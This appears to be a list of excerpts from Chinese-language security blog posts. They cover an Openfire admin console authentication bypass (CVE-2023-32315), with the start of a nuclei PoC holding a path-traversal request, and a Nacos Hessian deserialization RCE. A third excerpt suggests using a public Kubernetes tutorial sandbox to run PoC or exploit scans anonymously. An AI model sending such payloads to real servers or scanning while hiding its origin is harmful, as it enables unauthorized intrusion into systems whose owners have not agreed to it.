openfire web管理员控制台验证绕过漏洞(CVE-2023-32315)
前言https://github.com/advisories/GHSA-gw42-f939-fhvmnuclei poc:http: - raw: - |+ GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp HTTP
Nacos Jraft Hessian反序列化漏洞
前言nacos 出了一个 rce ，7848 端口 hessian 反序列化，该端口默认用于集群间通信https://github.com/alibaba/nacos/releases/tag/2.2.3主要针对部分Jraft请求处理时，使用hessian进行反序列化未限制而造成的RCE漏洞进行修复
匿名进行poc或者exp扫描
地址https://kubernetes.io/zh/docs/tutorials/configuration/configure-java-microservice/configure-java-microservice-interactive/环境内置了 java golang python g